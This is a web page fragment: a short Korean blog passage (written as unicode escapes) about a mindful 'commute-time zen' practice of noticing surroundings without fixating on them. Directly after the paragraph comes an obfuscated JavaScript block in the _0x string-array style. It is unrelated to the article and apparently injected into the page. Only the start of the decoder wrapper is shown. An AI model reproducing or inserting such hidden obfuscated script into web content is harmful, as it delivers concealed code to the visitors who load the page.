\uc8fc\ubcc0 \uc0c1\ud669\uc5d0 \uc644\uc804\ud788 \uae68\uc5b4 \uc788\ub294 \uc0c1\ud0dc\ub97c \uc720\uc9c0\ud569\ub2c8\ub2e4 . \ub098\ubb34\uc758 \uc78e\uc0ac\uadc0\ub4e4\uc758 \uac01\uae30 \ub2e4\ub978 \uc0c9\uae54\ub4e4 , \ucc28\ub7c9\ub4e4 , \uadf8 \uc548\uc5d0 \uc788\ub294 \ub2e4\ub978 \uc6b4\uc804\uc790\ub4e4 , \uae38\uac70\ub9ac\uc5d0 \ub099\uc11c\ub97c \ubc14\ub77c\ubcf4\uc9c0\ub9cc \uadf8 \uc911 \ud2b9\uc815 \uc0ac\ubb3c\uc774\ub098 \uc0c1\ud669 , \ub610\ub294 \uc778\ubb3c\ub4e4\uc5d0 \ud3ec\ucee4\uc2a4\ub97c \ub450\uc9c0 \uc54a\uc740 \uc0c1\ud0dc\ub85c \ub9d0\uc774\uc8e0 . \uc81c \ub9c8\uc74c\uc744 \uc548\uc815\uc2dc\ud0a4\uace0 \uc81c\uac00 \ud68c\uc0ac\uc5d0\uc11c \ub0b4\ub9b4 \ubaa8\ub4e0 \uacb0\uc815\ub4e4\uc744 \uc81c \uba38\ub9ac \uc18d\uc5d0\uc11c \uc7a0\uc2dc \ube44\uc6cc\ub0c5\ub2c8\ub2e4 . \uc804 \uc774\uac83\uc5d0 \u7523 \ucd9c\uadfc\uc2dc\uac04 \uae30\uc220 \uc18d \ucc38\uc120 \uc774\ub77c\uace0 \uc870\uc2ec\uc2a4\ub808 \uc774\ub984 \ubd99\uc5ec\ubd05\ub2c8\ub2e4 . \uc5b8\uc81c\ub4e0 \uc2e4\ucc9c\ud560 \uc218 \uc788\uace0 , \ub3c8\ub3c4 \ub4e4\uc9c0 \uc54a\uc73c\uba70 \uadf8\ub0e5 \uc2dc\uc791\ud558\uaca0\ub2e4\uace0 \ub9c8\uc74c\ub9cc \uba39\uc73c\uba74 \ub418\ub294 \ub108\ubb34\ub098 \uc26c\uc6b4 \uc77c\uc774\uc8e0.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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